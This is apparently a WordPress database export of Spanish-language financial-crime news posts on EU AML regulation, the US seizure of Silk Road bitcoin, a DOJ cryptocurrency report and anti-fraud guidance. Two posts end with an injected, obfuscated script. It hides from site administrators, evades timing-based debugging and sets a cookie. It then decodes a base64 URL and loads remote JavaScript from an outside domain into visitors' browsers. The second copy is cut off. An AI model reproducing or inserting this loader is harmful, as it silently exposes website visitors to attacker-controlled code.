tampoco est\u00e1n dejando que los pa\u00edses se salgan del apuro debido a la pandemia.\n\n\u201cLa lucha contra el lavado de dinero es tan relevante ahora como antes de la pandemia de coronavirus\u201d, afirm\u00f3 la comisi\u00f3n. \"De hecho, los delitos relacionados con el coronavirus y el lavado de sus ganancias van en aumento, seg\u00fan Europol y las autoridades policiales nacionales\".\n\nAsegurar la transposici\u00f3n correcta y oportuna de las normas ALD\/CFT existentes es una de las acciones previstas por la Comisi\u00f3n en su Plan de Acci\u00f3n de seis puntos publicado en mayo.\n\nEso podr\u00eda ser un desaf\u00edo con m\u00e1s presi\u00f3n proveniente del supervisor ALD\/CFT de la UE, una fecha l\u00edmite inminente para algunos, pero un cambio bienvenido por otros.\n\n\"Estoy encantado de que los ministros de finanzas hayan adoptado conclusiones sobre el Plan de Acci\u00f3n contra el Lavado de Dinero de la Comisi\u00f3n de mayo de 2020\", dijo el vicepresidente ejecutivo de la Comisi\u00f3n de la UE, Valdis Dombrovskis, y agreg\u00f3 que el esfuerzo ser\u00e1 una \"base ambiciosa para preparar un paquete de propuestas legales ALD\/CFT en el primer trimestre de 2021\".\n\n\u201cEl lavado de dinero erosiona la confianza en nuestros bancos e instituciones financieras, en nuestras autoridades y gobiernos\u201d, dijo. \u201cEl dinero sucio es altamente m\u00f3vil y esto hace que sea un desaf\u00edo complejo de manejar. Es por eso que debemos abordar este problema de manera coherente a nivel de la UE y estamos decididos a hacerlo\".","post_title":"La UE crear\u00e1 un nuevo regulador ALD\/CFT para todo el bloque con autoridad para revisar y sancionar a las instituciones","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"la-ue-creara-un-nuevo-regulador-ald-cft-para-todo-el-bloque-con-autoridad-para-revisar-y-sancionar-a-las-instituciones","to_ping":"","pinged":"","post_modified":"2020-11-17 19:26:59","post_modified_gmt":"2020-11-17 23:26:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25351","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25324,"post_author":"16","post_date":"2020-11-10 12:14:36","post_date_gmt":"2020-11-10 16:14:36","post_content":"https:\/\/youtu.be\/bHmZmpSdSjQ\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia.png 1266w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\nLa semana pasada, el Departamento de Justicia de EE.UU. present\u00f3 una demanda de decomiso civil contra la incautaci\u00f3n m\u00e1s grande de activos digitales por un valor total de m\u00e1s de US$1.000 millones. Los agentes de ley utilizaron herramientas y asistencia de la firma Chainalysis en la investigaci\u00f3n para identificar las billeteras de criptomonedas m\u00e1s grandes con conexiones a Silk Road, el primer mercado moderno de la dark web, lo que les permiti\u00f3 generar pistas a partir de la evidencia en la cadena de bloques. Este Bitcoin se transfiri\u00f3 sin problemas a una billetera controlada por el gobierno que, si se descomisa, se mover\u00e1 al Fondo de Confiscaci\u00f3n del Tesoro (TFF). El TFF financia programas innovadores de aplicaci\u00f3n de la ley, como herramientas de an\u00e1lisis de blockchain y capacitaci\u00f3n, que ayudar\u00e1n a los agentes a identificar y apoderarse de m\u00e1s fondos il\u00edcitos. A principios de este a\u00f1o, las agencias de aplicaci\u00f3n de la ley presentaron acciones de decomiso civil similares contra criptoactivos relacionados con el financiamiento del terrorismo y las actividades de pirater\u00eda de Corea del Norte.\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cEl producto del delito no debe quedar en manos de los delincuentes. Gracias a la experiencia de la divisi\u00f3n de Investigaci\u00f3n Criminal de la Agencia de Rentas de EE.UU. (IRS-CI) en el seguimiento del dinero, pudimos rastrear los fondos il\u00edcitos\u201d, dijo Kelly R. Jackson, agente especial a cargo del IRS-CI. \"La Unidad de Delitos Cibern\u00e9ticos de Washington DC est\u00e1 especialmente especializada en rastrear transacciones de moneda virtual y continuaremos perfeccionando nuestras habilidades para combatir la actividad ilegal\".\n\nEl 3 de noviembre, el bot de Twitter @Whale_alert marc\u00f3 una gran transacci\u00f3n de 69,369 BTC, lo que llev\u00f3 a muchos a especular si la billetera inactiva conectada a Silk Road hab\u00eda sido pirateada o si el propietario ejecut\u00f3 la transacci\u00f3n. De hecho, esta fue la incautaci\u00f3n de los fondos por parte de la polic\u00eda cuando movieron el Bitcoin a la billetera controlada por el gobierno. Esta billetera ahora est\u00e1 etiquetada en los productos de Chainalysis como \"Fondos incautados de Silk Road Marketplace 2020-11-03\".\n\n<b><u>Antecedentes de Silk Road<\/u><\/b>\n\nSilk Road fue el primer mercado importante de redes oscuras digitales en el que los usuarios del sitio compraban y vend\u00edan bienes y servicios il\u00edcitos, incluidas las drogas ilegales. En 2013, las fuerzas del orden cerraron Silk Road y arrestaron a su propietario y operador, Ross Ulbricht, tambi\u00e9n conocido como \"Dread Pirate Roberts\".\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"308\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-300x144.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-768x369.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1536x738.png 1536w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-750x360.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1140x548.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity.png 1544w\" sizes=\"(max-width: 640px) 100vw, 640px\"><figcaption>Nota: Este gr\u00e1fico refleja el monto en US$ movidos y la participaci\u00f3n del volumen total asociado con Silk Road. FUENTE: Chainalysis<\/figcaption><\/figure>\nSeg\u00fan los datos de Chainalysis, Silk Road represent\u00f3 casi el 20% de la actividad econ\u00f3mica total de Bitcoin en su punto m\u00e1ximo en 2013. La actividad econ\u00f3mica de Silk Road alcanz\u00f3 un total de US$ 435 millones (calculado con base en el precio de Bitcoin en ese momento) con un pico de poco menos de US$ 40 millones en volumen mensual en septiembre de 2013.\n\nSeg\u00fan las acusaciones de la demanda de decomiso civil, desde 2011 hasta octubre de 2013, cuando fue confiscado por las fuerzas del orden, Silk Road era el mercado criminal m\u00e1s sofisticado y extenso de Internet. Era utilizado como un bazar del mercado negro en expansi\u00f3n donde los usuarios del sitio compraban y vend\u00edan bienes y servicios ilegales con regularidad. La denuncia alega que mientras estaba en funcionamiento, Silk Road fue utilizado por miles de traficantes de drogas y otros vendedores ilegales para distribuir cientos de kilogramos de drogas, as\u00ed como otros bienes y servicios ilegales a m\u00e1s de 100.000 compradores, y para lavar cientos de millones de d\u00f3lares derivados de estas transacciones ilegales.\n\nAl momento de ser desmantelado en 2013, Silk Road ten\u00eda casi 13.000 listas de sustancias ilegales y muchos m\u00e1s listados que ofrec\u00edan servicios ilegales, como pirater\u00eda inform\u00e1tica y servicios de sicarios, que generaban ingresos por ventas por un total de m\u00e1s de 9,5 millones de Bitcoins y comisiones por estas ventas por un total de m\u00e1s de 600.000 Bitcoins. La denuncia tambi\u00e9n alega que Silk Road utiliz\u00f3 un \"tumbler\" para procesar transacciones de Bitcoin de una manera dise\u00f1ada para frustrar el seguimiento de transacciones individuales a trav\u00e9s de la cadena de bloques de criptomonedas.\n\nEl creador de Silk Road, Ross Ulbricht, luego de su arresto en San Francisco, fue condenado en 2015 por un jurado federal de Nueva York por siete cargos criminales, incluida la conspiraci\u00f3n para distribuir narc\u00f3ticos y lavado de dinero.\n\n<b><u>C\u00f3mo las fuerzas del orden identificaron y confiscaron los fondos<\/u><\/b>\n\nA principios de este a\u00f1o, los agentes del IRS-CI analizaron las transacciones de bitcoins ejecutadas por Silk Road e identificaron 54 transacciones de bitcoins no detectadas previamente. Tambi\u00e9n descubrieron que un hacker, conocido como Individual X, rob\u00f3 esos fondos de Silk Road.\n\nEn el gr\u00e1fico de Chainalysis Reactor debajo, vemos que el dinero de Silk Road va a otra billetera (1BADzn\u2026), y a la billetera del individuo X (1HQ3Go\u2026). En 2015, el Individuo X liquid\u00f3 algunos de los fondos robados en BTC-e, un intercambio de criptomonedas que fue incautado por las autoridades estadounidenses en 2017 por lavado de dinero. Pero la mayor\u00eda de los fondos robados se mantuvieron en la billetera del Individuo X a medida que sub\u00eda el precio de Bitcoin, hasta la semana pasada, cuando fueron incautados y trasladados a la billetera del gobierno de EE. UU. Ahora valen m\u00e1s de US$1.000 millones.\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"274\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-300x128.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-768x328.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-750x321.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1140x487.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor.png 1432w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n<figcaption>A trav\u00e9s de Chainalysis Reactor se sigui\u00f3 el dinero de Silk Road a otra billetera (1BADzn\u2026), a la billetera del Individuo X (1HQ3Go\u2026).<\/figcaption><\/figure>\nEste es otro ejemplo m\u00e1s de c\u00f3mo los investigadores pueden aprovechar las caracter\u00edsticas de la criptomoneda para seguir el flujo de fondos il\u00edcitos. Si bien este caso es notable por el valor de los fondos incautados, tambi\u00e9n muestra que las agencias gubernamentales que invierten en el an\u00e1lisis de blockchain no solo pueden usar esa tecnolog\u00eda para la generaci\u00f3n proactiva de pistas y para apuntalar los casos, sino tambi\u00e9n para localizar y confiscar ganancias il\u00edcitas. Tambi\u00e9n demuestra que los ingresos generados en cualquier momento pueden incautarse a\u00f1os despu\u00e9s utilizando evidencia de blockchain.\n\nTambi\u00e9n es notable que la incautaci\u00f3n de mil millones de d\u00f3lares realizada la semana pasada fue enviada y confirmada en cuesti\u00f3n de minutos. A diferencia de otros casos que involucran moneda fiduciaria o propiedad personal, donde la transferencia de posesi\u00f3n del gobierno puede llevar d\u00edas o incluso meses, la criptomoneda aprovecha el poder de la tecnolog\u00eda para transferir fondos en cuesti\u00f3n de minutos.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Siete a\u00f1os despu\u00e9s del cierre de Silk Road, EE.UU. logra confiscar US$1.000 millones en Bitcoins","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"siete-anos-despues-del-cierre-de-silk-road-ee-uu-logra-confiscar-us1-000-millones-en-bitcoins","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:20","post_modified_gmt":"2025-10-24 21:05:20","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25324","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25320,"post_author":"16","post_date":"2020-11-10 11:16:53","post_date_gmt":"2020-11-10 15:16:53","post_content":"<p>A principios de este mes, el Departamento de Justicia de EE.UU., a trav\u00e9s de su grupo de trabajo <b>Cyber Digital Task Force<\/b>, public\u00f3 este informe de orientaci\u00f3n criptogr\u00e1fica titulado\u00a0<a style=\"background-color: #ffffff;\" href=\"https:\/\/www.justice.gov\/ag\/page\/file\/1326061\/download\" target=\"_blank\" rel=\"noopener noreferrer\">\"Criptomoneda: un marco de aplicaci\u00f3n\".<\/a><\/p><p>El grupo de trabajo, establecido en 2018, tiene la tarea de evaluar las amenazas planteadas por los avances tecnol\u00f3gicos. Entre otras cosas, un informe inicial destac\u00f3 a la criptomoneda como una amenaza emergente y recomend\u00f3 un examen m\u00e1s detenido. El informe es la versi\u00f3n m\u00e1s acabada del Departamento de Justicia sobre la criptomoneda hasta el momento y tambi\u00e9n sigue una tendencia global general en una mayor claridad en los marcos regulatorios y de aplicaci\u00f3n en torno a las criptomonedas.<\/p><p>A medida que el uso de la criptomoneda evoluciona y se expande, tambi\u00e9n lo har\u00e1n las oportunidades para cometer delitos y hacer da\u00f1o mediante la explotaci\u00f3n de la tecnolog\u00eda de las criptomonedas, los delincuentes se expanden y perfeccionan las t\u00e9cnicas dise\u00f1adas para evadir la detecci\u00f3n.<\/p><p>Los usos il\u00edcitos de las criptomonedas amenazan no solo la seguridad p\u00fablica, sino tambi\u00e9n la seguridad nacional. Por ejemplo, la criptomoneda puede proporcionar a las organizaciones terroristas una herramienta para eludir las instituciones financieras tradicionales con el fin de obtener, transferir y utilizar fondos para avanzar en sus misiones. El uso de la criptomoneda por parte de los terroristas puede representar las primeras gotas de una tormenta inminente de uso expandido que podr\u00eda desafiar la capacidad de Estados Unidos para interrumpir los recursos financieros que permitir\u00edan a las organizaciones terroristas ejecutar exitosamente sus misiones o expandir sus influencias.<\/p><p>Del mismo modo, la criptomoneda presenta una nueva oportunidad preocupante para que las personas y estados esquiven las sanciones internacionales.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1140x641.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de Chain Hopping<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Desaf\u00edos<\/u><\/b><\/p><p>Este informe concluye en la Parte III con una discusi\u00f3n de los desaf\u00edos actuales que enfrenta el gobierno en la aplicaci\u00f3n de la criptomoneda, particularmente con respecto a los modelos comerciales (empleados por ciertos intercambios, plataformas, quioscos y casinos de criptomonedas) y a la actividad (como mixing\u201d and \u201ctumbling,\u201d \u201cchain hopping,\u201d y ciertos casos de arbitraje jurisdiccional) que pueden facilitar la actividad delictiva.<\/p><p>Esos desaf\u00edos se corresponden claramente con el conjunto m\u00e1s amplio de desaf\u00edos que presentan muchas tecnolog\u00edas emergentes para las agencias de aplicaci\u00f3n de la ley.<\/p><p><b><u>ICOs <\/u><\/b><\/p><p>Las tecnolog\u00edas relacionadas con Blockchain son complejas y dif\u00edciles de entender; por ejemplo, los m\u00e9todos para ejecutar delitos como los esquemas pump and dump (de bombeo y descarga) est\u00e1n cambiando y requieren que los investigadores se familiaricen con todo, desde c\u00f3mo se realizan las ofertas iniciales de monedas (Initial Coin Offerings, ICO) hasta c\u00f3mo las personas con conocimientos tecnol\u00f3gicos se comunican en aplicaciones de comunicaciones especializadas. Estas tecnolog\u00edas emergentes no solo son dif\u00edciles de asimilar, sino que los mercados relevantes tambi\u00e9n evolucionan r\u00e1pidamente. El auge de las ICO de hace unos a\u00f1os ha dado paso al crecimiento exponencial de los mercados de finanzas descentralizadas en los \u00faltimos meses, con todas las complejidades y dificultades asociadas para los agentes de ley.<\/p><p><b>Blockchain<\/b><\/p><p>La naturaleza global del ecosistema <i>blockchain<\/i> agrega una capa adicional de complejidad. El crimen organizado se ha extendido m\u00e1s all\u00e1 de las fronteras nacionales durante a\u00f1os, pero <i>blockchain<\/i> lleva esta globalizaci\u00f3n a otro nivel. Las partes realizan transacciones y transferencias entre continentes en cuesti\u00f3n de minutos, y la infraestructura digital de la propia cadena de bloques casi siempre trasciende los l\u00edmites territoriales. Adem\u00e1s de la dificultad, algunos de los intercambios de criptoactivos m\u00e1s grandes operan fuera de Estados Unidos, y muchos todav\u00eda requieren nada m\u00e1s que una direcci\u00f3n de correo electr\u00f3nico no verificada antes de permitir que una persona comience a operar.<\/p><p><b><u>Peer to Peer<\/u><\/b><\/p><p>Finalmente, las plataformas descentralizadas, los cambistas peer-to-peer (entre pares) y las criptomonedas con anonimato mejorado que utilizan cadenas de bloques privadas o no p\u00fablicas pueden ocultar a\u00fan m\u00e1s las transacciones financieras del escrutinio leg\u00edtimo. Los desaf\u00edos son importantes.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"351\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-300x164.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-768x421.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis.png 1216w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de una transacci\u00f3n il\u00edcita a trav\u00e9s del an\u00e1lisis de blockchain<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Investigaciones y procesamientos<\/u><\/b><\/p><p>A pesar de los muchos desaf\u00edos, el Departamento de Justicia ha investigado y procesado delincuentes que han usado criptomonedas para facilitar u ocultar sus actividades il\u00edcitas, EE.UU. ha entablado acciones contra personas y empresas que no han cumplido con sus obligaciones legales para evitar actividades il\u00edcitas. En casos particulares, el Departamento de Justicia ha procedido contra la propia criptomoneda il\u00edcita, confiscando esos activos virtuales y elimin\u00e1ndolos del flujo del comercio internacional, independientemente de su capacidad para identificar o aprehender a los actores que los utilizaron.<\/p><p>El Departamento de Justicia se\u00f1al\u00f3 que est\u00e1 comprometido a fortalecer sus asociaciones clave con la promoci\u00f3n de experiencia y conocimiento en materia de aplicaci\u00f3n de la ley; fomentando la cooperaci\u00f3n con las autoridades estatales; mejorando la cooperaci\u00f3n internacional; promoviendo una regulaci\u00f3n internacional integral y coherente; y llevando a cabo actividades de educaci\u00f3n y divulgaci\u00f3n del sector privado.<\/p><p>Para promover la seguridad todas las partes interesadas, desde la industria privada hasta los reguladores, funcionarios y usuarios individuales de criptomonedas, deber\u00e1n tomar medidas para garantizar que la criptomoneda no se utilice como plataforma para la ilegalidad. Se\u00f1ala el Departamento de Justicia que para que la criptomoneda adquiera su verdadero potencial transformador, es imperativo que se aborden estos riesgos.<\/p>","post_title":"Informe del DOJ sobre Criptomonedas: un marco de aplicaci\u00f3n","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"informe-del-doj-sobre-criptomonedas-un-marco-de-aplicacion","to_ping":"","pinged":"","post_modified":"2020-11-10 11:21:26","post_modified_gmt":"2020-11-10 15:21:26","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25320","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25317,"post_author":"16","post_date":"2020-11-10 09:49:27","post_date_gmt":"2020-11-10 13:49:27","post_content":"<p><b><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/5Steps-Small-10NOV2020.jpg\" alt=\"\" width=\"232\" height=\"300\" \/><\/b><\/p><p><b>Por Terry Luttrell, CAMS-Audit<\/b><\/p><p>A medida que 2020 llega a su fin, las empresas y\u00a0comunidades de todo el mundo no pueden negar los efectos de la pandemia de COVID-19. La devastaci\u00f3n financiera, as\u00ed como la p\u00e9rdida de vidas y el deterioro de la salud, han dejado su sello. Hist\u00f3ricamente, los desastres naturales de cualquier tipo han sacado a los estafadores a la luz para exponerlos ante lo que parece ser un grupo interminable de v\u00edctimas vulnerables.<\/p><p>La Oficina Federal de Investigaciones de EE.UU. (FBI) se\u00f1ala que cuanto m\u00e1s catastr\u00f3fico es el evento, m\u00e1s activos son los estafadores. COVID-19 es posiblemente el peor desastre mundial en d\u00e9cadas, y se ha detectado un aumento del fraude a gran escala. Si bien algunos de los esquemas de fraude no son nuevos, se han transformado para aprovecharse de comunidades que ya se enfrentan a una situaci\u00f3n sin precedentes. \u00bfC\u00f3mo se est\u00e1 moviendo su organizaci\u00f3n para fortalecer su programa antifraude para mitigar estos mayores riesgos?<\/p><p>Seg\u00fan las estad\u00edsticas hist\u00f3ricas de desastres, el Departamento de Justicia de EE.UU. espera que el fraude generalizado aumente entre un 10% y un 12% debido al COVID-19. En una encuesta reciente realizada por la Asociaci\u00f3n de Examinadores de Fraude Certificados, el 77% de los miembros encuestados dijo que ha observado un aumento en el nivel general de fraude, y un tercio se\u00f1al\u00f3 que este aumento ha sido significativo. Eso es notablemente m\u00e1s alto que en mayo de 2020, cuando el 68% de los encuestados hab\u00eda visto un aumento en el fraude, y una cuarta parte calific\u00f3 el aumento como significativo.<\/p><p>La pandemia ha creado la necesidad de que las organizaciones examinen sus programas antifraude para determinar si existe una mayor exposici\u00f3n al riesgo que se deba abordar. La ayuda financiera que generalmente sigue a los desastres conduce, lamentablemente, a un mayor riesgo de fraude. Cuantos m\u00e1s fondos para ingresan a la econom\u00eda, ya sea por huracanes, incendios forestales o una pandemia, mayor ser\u00e1 la presencia de delincuentes. Por lo tanto, si bien COVID-19 es el detonante actual de la tendencia al alza del fraude, las organizaciones deben posicionarse para evitar aumentos futuros. Como individuos, tenemos experiencia; sabemos qu\u00e9 hacer para disuadir el fraude y mitigar el riesgo. Sin embargo, combatir los riesgos y anticipar la evoluci\u00f3n de los riesgos en el entorno actual requiere un esfuerzo concertado de las organizaciones para reforzar sus programas antifraude.<\/p><p><strong><a style=\"background-color: #ffffff; color: #993300; text-decoration: underline;\" href=\"https:\/\/www.abrigo.com\/l\/5-steps-to-stronger-fraud-mitigation\/?utm_source=acfcs&utm_medium=affiliate&utm_campaign=october_whitepaper\" target=\"_blank\" rel=\"noopener noreferrer\">Descargue el documento completo<\/a><\/strong>\u00a0(en ingl\u00e9s) para conocer los 5 pasos para mejorar su programa de detecci\u00f3n de fraude durante la pandemia COVID-19.<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; 